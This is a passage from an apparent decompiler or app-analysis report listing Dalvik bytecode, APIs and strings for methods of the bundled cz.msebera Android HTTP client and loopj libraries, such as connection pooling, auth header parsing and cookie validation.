        129move-result-object v1
        130check-cast v1, Ljava/lang/String;
        132iget-object v3, v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;->inputStream:Ljava/io/InputStream;
        134iget-object v4, v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;->name:Ljava/lang/String;
        136iget-object v5, v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;->contentType:Ljava/lang/String;
        137iget-boolean v2, v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;->autoClose:Z
        139invoke-static {v3, v4, v5, v2}, Lcom/loopj/android/http/RequestParams$StreamWrapper;->newInstance(Ljava/io/InputStream;Ljava/lang/String;Ljava/lang/String;Z)Lcom/loopj/android/http/RequestParams$StreamWrapper;
        140move-result-object v2
        142invoke-virtual {v0, v1, v2}, Lcom/loopj/android/http/JsonStreamerEntity;->addPart(Ljava/lang/String;Ljava/lang/Object;)V
        143goto/16 :goto_91
        144cond_bd: return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Connection class mismatch, connection not obtained from this manager
        • Releasing connection
        • Connection not obtained from this manager
        • for
        • indefinitely
        • Connection can be kept alive
        Position Instruction Meta Information
        0instance-of v0, p1, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;
        2const-string v1, "Connection class mismatch, connection not obtained from this manager"
        4invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Args;->check(ZLjava/lang/String;)V
        5move-object v0, p1
        6check-cast v0, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;
        7monitor-enter v0
        8try_start_b:
        9iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        11invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        12move-result v1
        13if-eqz v1, :cond_29
        15iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        16new-instance v2, Ljava/lang/StringBuilder;
        18invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        20const-string v3, "Releasing connection "
        22invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        26invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        27move-result-object p1
        29invoke-virtual {v1, p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        30cond_29:
        31invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->getPoolEntry()Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        32move-result-object p1
        33if-nez p1, :cond_31
        34monitor-exit v0
        35return-void
        36cond_31:
        37invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->getManager()Lcz/msebera/android/httpclient/conn/ClientConnectionManager;
        38move-result-object p1
        39if-ne p1, p0, :cond_39
        40const/4 p1, 0x1
        41goto/16 :goto_3a
        42cond_39: const/4 p1, 0x0
        43goto_3a:
        44const-string v1, "Connection not obtained from this manager"
        46invoke-static {p1, v1}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        47monitor-enter p0
        48try_start_40: iget-boolean p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->shutdown:Z
        49if-eqz p1, :cond_4a
        51invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->shutdownConnection(Lcz/msebera/android/httpclient/HttpClientConnection;)V
        52monitor-exit p0
        53try_start_48: monitor-exit v0
        54try_end_49: return-void
        55cond_4a: const/4 p1, 0x0
        56try_start_4b:
        57invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->isOpen()Z
        58move-result v1
        59if-eqz v1, :cond_5a
        61invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->isMarkedReusable()Z
        62move-result v1
        63if-nez v1, :cond_5a
        65invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->shutdownConnection(Lcz/msebera/android/httpclient/HttpClientConnection;)V
        66cond_5a:
        67invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->isMarkedReusable()Z
        68move-result v1
        69if-eqz v1, :cond_ab
        71iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->poolEntry:Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        72if-eqz p4, :cond_66
        73move-object v2, p4
        74goto/16 :goto_68
        75cond_66:
        76sget-object v2, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        77goto_68:
        78invoke-virtual {v1, p2, p3, v2}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->updateExpiry(JLjava/util/concurrent/TimeUnit;)V
        80iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        82invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        83move-result v1
        84if-eqz v1, :cond_ab
        85const-wide/16 v1, 0x0
        86cmp-long v3, p2, v1
        87if-lez v3, :cond_93
        88new-instance v1, Ljava/lang/StringBuilder;
        90invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        92const-string v2, "for "
        94invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        96invoke-virtual {v1, p2, p3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        98const-string p2, " "
        100invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        102invoke-virtual {v1, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        104invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        105move-result-object p2
        106goto/16 :goto_95
        107cond_93:
        108const-string p2, "indefinitely"
        109goto_95:
        110iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        111new-instance p4, Ljava/lang/StringBuilder;
        113invoke-direct {p4}, Ljava/lang/StringBuilder;-><init>()V
        115const-string v1, "Connection can be kept alive "
        117invoke-virtual {p4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        119invoke-virtual {p4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        121invoke-virtual {p4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        122move-result-object p2
        124invoke-virtual {p3, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        125try_end_ab:
        126invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->detach()Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        127iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->conn:Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;
        129iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->poolEntry:Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        131invoke-virtual {p2}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->isClosed()Z
        132move-result p2
        133if-eqz p2, :cond_ba
        134iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->poolEntry:Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        135cond_ba: monitor-exit p0
        136try_start_bb: monitor-exit v0
        137try_end_bc: return-void
        138catchall_bd: move-exception p2
        139try_start_be:
        140invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->detach()Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        141iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->conn:Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;
        143iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->poolEntry:Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        145invoke-virtual {p3}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->isClosed()Z
        146move-result p3
        147if-eqz p3, :cond_cd
        148iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;->poolEntry:Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        149cond_cd: throw p2
        150catchall_ce: move-exception p1
        151monitor-exit p0
        152try_start_d0: throw p1
        153catchall_d1: move-exception p1
        154monitor-exit v0
        155try_end_d3: throw p1
        APIs
        • java.lang.String.equalsIgnoreCase
        • java.lang.String.length
        • java.lang.String.equalsIgnoreCase
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.MalformedChallengeException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.MalformedChallengeException.<init>
        Strings
        • Header
        • WWW-Authenticate
        • Proxy-Authenticate
        • Invalid scheme identifier:
        • Header value is null
        • Unexpected header name:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/auth/MalformedChallengeException;
        3}
        4.end annotation
        6const-string v0, "Header"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        11move-result-object v0
        13const-string v1, "WWW-Authenticate"
        15invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        16move-result v1
        17if-eqz v1, :cond_16
        19sget-object v0, Lcz/msebera/android/httpclient/auth/ChallengeState;->TARGET:Lcz/msebera/android/httpclient/auth/ChallengeState;
        20iput-object v0, p0, Lcz/msebera/android/httpclient/impl/auth/AuthSchemeBase;->challengeState:Lcz/msebera/android/httpclient/auth/ChallengeState;
        21goto/16 :goto_22
        22cond_16:
        23const-string v1, "Proxy-Authenticate"
        25invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        26move-result v1
        27if-eqz v1, :cond_a0
        29sget-object v0, Lcz/msebera/android/httpclient/auth/ChallengeState;->PROXY:Lcz/msebera/android/httpclient/auth/ChallengeState;
        30iput-object v0, p0, Lcz/msebera/android/httpclient/impl/auth/AuthSchemeBase;->challengeState:Lcz/msebera/android/httpclient/auth/ChallengeState;
        31goto_22: instance-of v0, p1, Lcz/msebera/android/httpclient/FormattedHeader;
        32if-eqz v0, :cond_31
        33check-cast p1, Lcz/msebera/android/httpclient/FormattedHeader;
        35invoke-interface {p1}, Lcz/msebera/android/httpclient/FormattedHeader;->getBuffer()Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        36move-result-object v0
        38invoke-interface {p1}, Lcz/msebera/android/httpclient/FormattedHeader;->getValuePos()I
        39move-result p1
        40goto/16 :goto_44
        41cond_31:
        42invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        43move-result-object p1
        44if-eqz p1, :cond_98
        45new-instance v0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        47invoke-virtual {p1}, Ljava/lang/String;->length()I
        48move-result v1
        50invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        52invoke-virtual {v0, p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        53const/4 p1, 0x0
        54goto_44:
        55invoke-virtual {v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        56move-result v1
        57if-ge p1, v1, :cond_57
        59invoke-virtual {v0, p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->charAt(I)C
        60move-result v1
        62invoke-static {v1}, Lcz/msebera/android/httpclient/protocol/HTTP;->isWhitespace(C)Z
        63move-result v1
        64if-eqz v1, :cond_57
        65add-int/lit8 p1, p1, 0x1
        66goto/16 :goto_44
        67cond_57: move v1, p1
        68goto_58:
        69invoke-virtual {v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        70move-result v2
        71if-ge v1, v2, :cond_6b
        73invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->charAt(I)C
        74move-result v2
        76invoke-static {v2}, Lcz/msebera/android/httpclient/protocol/HTTP;->isWhitespace(C)Z
        77move-result v2
        78if-nez v2, :cond_6b
        79add-int/lit8 v1, v1, 0x1
        80goto/16 :goto_58
        81cond_6b:
        82invoke-virtual {v0, p1, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substring(II)Ljava/lang/String;
        83move-result-object p1
        85invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/auth/AuthSchemeBase;->getSchemeName()Ljava/lang/String;
        86move-result-object v2
        88invoke-virtual {p1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        89move-result v2
        90if-eqz v2, :cond_81
        92invoke-virtual {v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        93move-result p1
        95invoke-virtual {p0, v0, v1, p1}, Lcz/msebera/android/httpclient/impl/auth/AuthSchemeBase;->parseChallenge(Lcz/msebera/android/httpclient/util/CharArrayBuffer;II)V
        96return-void
        97cond_81: new-instance v0, Lcz/msebera/android/httpclient/auth/MalformedChallengeException;
        98new-instance v1, Ljava/lang/StringBuilder;
        100invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        102const-string v2, "Invalid scheme identifier: "
        104invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        106invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        108invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        109move-result-object p1
        111invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/auth/MalformedChallengeException;-><init>(Ljava/lang/String;)V
        112throw v0
        113cond_98: new-instance p1, Lcz/msebera/android/httpclient/auth/MalformedChallengeException;
        115const-string v0, "Header value is null"
        117invoke-direct {p1, v0}, Lcz/msebera/android/httpclient/auth/MalformedChallengeException;-><init>(Ljava/lang/String;)V
        118throw p1
        119cond_a0: new-instance p1, Lcz/msebera/android/httpclient/auth/MalformedChallengeException;
        120new-instance v1, Ljava/lang/StringBuilder;
        122invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        124const-string v2, "Unexpected header name: "
        126invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        128invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        130invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        131move-result-object v0
        133invoke-direct {p1, v0}, Lcz/msebera/android/httpclient/auth/MalformedChallengeException;-><init>(Ljava/lang/String;)V
        134throw p1
        Cross References
        APIs
        • java.io.InputStream.<init>
        • java.io.PushbackInputStream.<init>
        • java.io.PushbackInputStream.read
        • java.util.zip.Inflater.<init>
        • java.util.zip.Inflater.inflate
        • java.util.zip.Inflater.finished
        • java.util.zip.Inflater.needsDictionary
        • java.util.zip.Inflater.needsInput
        • java.util.zip.Inflater.setInput
        • java.io.IOException.<init>
        • java.io.PushbackInputStream.unread
        • java.util.zip.Inflater.<init>
        • cz.msebera.android.httpclient.client.entity.DeflateInputStream$DeflateStream.<init>
        • java.io.IOException.<init>
        • java.io.PushbackInputStream.unread
        • java.util.zip.Inflater.<init>
        • cz.msebera.android.httpclient.client.entity.DeflateInputStream$DeflateStream.<init>
        • java.util.zip.Inflater.end
        • java.io.IOException.<init>
        Strings
        • Unable to read the response
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6invoke-direct {p0}, Ljava/io/InputStream;-><init>()V
        7const/4 v0, 0x6
        8new-array v0, v0, [B
        9new-instance v1, Ljava/io/PushbackInputStream;
        10array-length v2, v0
        12invoke-direct {v1, p1, v2}, Ljava/io/PushbackInputStream;-><init>(Ljava/io/InputStream;I)V
        14invoke-virtual {v1, v0}, Ljava/io/PushbackInputStream;->read([B)I
        15move-result p1
        16const/4 v2, -0x1
        17if-eq p1, v2, :cond_74
        18const/4 v3, 0x1
        19new-array v4, v3, [B
        20new-instance v5, Ljava/util/zip/Inflater;
        22invoke-direct {v5}, Ljava/util/zip/Inflater;-><init>()V
        23goto_1b: const/4 v6, 0x0
        24try_start_1c:
        25invoke-virtual {v5, v4}, Ljava/util/zip/Inflater;->inflate([B)I
        26move-result v7
        27if-nez v7, :cond_41
        29invoke-virtual {v5}, Ljava/util/zip/Inflater;->finished()Z
        30move-result v8
        31if-nez v8, :cond_39
        33invoke-virtual {v5}, Ljava/util/zip/Inflater;->needsDictionary()Z
        34move-result v8
        35if-eqz v8, :cond_2f
        36goto/16 :goto_41
        37cond_2f:
        38invoke-virtual {v5}, Ljava/util/zip/Inflater;->needsInput()Z
        39move-result v7
        40if-eqz v7, :cond_1b
        42invoke-virtual {v5, v0}, Ljava/util/zip/Inflater;->setInput([B)V
        43goto/16 :goto_1b
        44cond_39: new-instance v2, Ljava/io/IOException;
        46const-string v4, "Unable to read the response"
        48invoke-direct {v2, v4}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        49throw v2
        50goto_41: if-eq v7, v2, :cond_53
        52invoke-virtual {v1, v0, v6, p1}, Ljava/io/PushbackInputStream;->unread([BII)V
        53new-instance v2, Lcz/msebera/android/httpclient/client/entity/DeflateInputStream$DeflateStream;
        54new-instance v4, Ljava/util/zip/Inflater;
        56invoke-direct {v4}, Ljava/util/zip/Inflater;-><init>()V
        58invoke-direct {v2, v1, v4}, Lcz/msebera/android/httpclient/client/entity/DeflateInputStream$DeflateStream;-><init>(Ljava/io/InputStream;Ljava/util/zip/Inflater;)V
        59iput-object v2, p0, Lcz/msebera/android/httpclient/client/entity/DeflateInputStream;->sourceStream:Ljava/io/InputStream;
        60goto/16 :goto_6c
        61cond_53: new-instance v2, Ljava/io/IOException;
        63const-string v4, "Unable to read the response"
        65invoke-direct {v2, v4}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        66throw v2
        67catchall_5b: move-exception p1
        68goto/16 :goto_70
        69try_start_5d:
        70invoke-virtual {v1, v0, v6, p1}, Ljava/io/PushbackInputStream;->unread([BII)V
        71new-instance p1, Lcz/msebera/android/httpclient/client/entity/DeflateInputStream$DeflateStream;
        72new-instance v0, Ljava/util/zip/Inflater;
        74invoke-direct {v0, v3}, Ljava/util/zip/Inflater;-><init>(Z)V
        76invoke-direct {p1, v1, v0}, Lcz/msebera/android/httpclient/client/entity/DeflateInputStream$DeflateStream;-><init>(Ljava/io/InputStream;Ljava/util/zip/Inflater;)V
        77iput-object p1, p0, Lcz/msebera/android/httpclient/client/entity/DeflateInputStream;->sourceStream:Ljava/io/InputStream;
        78goto_6c:
        79invoke-virtual {v5}, Ljava/util/zip/Inflater;->end()V
        80return-void
        81goto_70:
        82invoke-virtual {v5}, Ljava/util/zip/Inflater;->end()V
        83throw p1
        84cond_74: new-instance p1, Ljava/io/IOException;
        86const-string v0, "Unable to read the response"
        88invoke-direct {p1, v0}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        89throw p1
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [total kept alive:
        • ;
        • route allocated:
        • of
        • total allocated:
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->pool:Lcz/msebera/android/httpclient/impl/conn/HttpConnPool;
        6invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/conn/HttpConnPool;->getTotalStats()Lcz/msebera/android/httpclient/pool/PoolStats;
        7move-result-object v1
        9iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->pool:Lcz/msebera/android/httpclient/impl/conn/HttpConnPool;
        11invoke-virtual {v2, p1}, Lcz/msebera/android/httpclient/impl/conn/HttpConnPool;->getStats(Ljava/lang/Object;)Lcz/msebera/android/httpclient/pool/PoolStats;
        12move-result-object p1
        14const-string v2, "[total kept alive: "
        16invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        18invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getAvailable()I
        19move-result v2
        21invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        23const-string v2, "; "
        25invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        27const-string v2, "route allocated: "
        29invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        31invoke-virtual {p1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getLeased()I
        32move-result v2
        34invoke-virtual {p1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getAvailable()I
        35move-result v3
        36add-int/2addr v2, v3
        38invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        40const-string v2, " of "
        42invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        44invoke-virtual {p1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getMax()I
        45move-result p1
        47invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        49const-string p1, "; "
        51invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53const-string p1, "total allocated: "
        55invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getLeased()I
        58move-result p1
        60invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getAvailable()I
        61move-result v2
        62add-int/2addr p1, v2
        64invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        66const-string p1, " of "
        68invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        70invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getMax()I
        71move-result p1
        73invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        75const-string p1, "]"
        77invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        79invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        80move-result-object p1
        81return-object p1
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [total kept alive:
        • ;
        • route allocated:
        • of
        • total allocated:
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->pool:Lcz/msebera/android/httpclient/impl/conn/CPool;
        6invoke-virtual {v1}, Lcz/msebera/android/httpclient/impl/conn/CPool;->getTotalStats()Lcz/msebera/android/httpclient/pool/PoolStats;
        7move-result-object v1
        9iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->pool:Lcz/msebera/android/httpclient/impl/conn/CPool;
        11invoke-virtual {v2, p1}, Lcz/msebera/android/httpclient/impl/conn/CPool;->getStats(Ljava/lang/Object;)Lcz/msebera/android/httpclient/pool/PoolStats;
        12move-result-object p1
        14const-string v2, "[total kept alive: "
        16invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        18invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getAvailable()I
        19move-result v2
        21invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        23const-string v2, "; "
        25invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        27const-string v2, "route allocated: "
        29invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        31invoke-virtual {p1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getLeased()I
        32move-result v2
        34invoke-virtual {p1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getAvailable()I
        35move-result v3
        36add-int/2addr v2, v3
        38invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        40const-string v2, " of "
        42invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        44invoke-virtual {p1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getMax()I
        45move-result p1
        47invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        49const-string p1, "; "
        51invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53const-string p1, "total allocated: "
        55invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getLeased()I
        58move-result p1
        60invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getAvailable()I
        61move-result v2
        62add-int/2addr p1, v2
        64invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        66const-string p1, " of "
        68invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        70invoke-virtual {v1}, Lcz/msebera/android/httpclient/pool/PoolStats;->getMax()I
        71move-result p1
        73invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        75const-string p1, "]"
        77invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        79invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        80move-result-object p1
        81return-object p1
        APIs
        • java.lang.String.contains
        • java.util.StringTokenizer.<init>
        • java.util.StringTokenizer.countTokens
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        Strings
        • .
        • Domain attribute \"
        • \" violates the Netscape cookie specification for
        • special domains
        • \" violates the Netscape cookie specification
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        3}
        4.end annotation
        6invoke-super {p0, p1, p2}, Lcz/msebera/android/httpclient/impl/cookie/BasicDomainHandler;->validate(Lcz/msebera/android/httpclient/cookie/Cookie;Lcz/msebera/android/httpclient/cookie/CookieOrigin;)V
        8invoke-virtual {p2}, Lcz/msebera/android/httpclient/cookie/CookieOrigin;->getHost()Ljava/lang/String;
        9move-result-object p2
        11invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        12move-result-object p1
        14const-string v0, "."
        16invoke-virtual {p2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
        17move-result p2
        18if-eqz p2, :cond_69
        19new-instance p2, Ljava/util/StringTokenizer;
        21const-string v0, "."
        23invoke-direct {p2, p1, v0}, Ljava/util/StringTokenizer;-><init>(Ljava/lang/String;Ljava/lang/String;)V
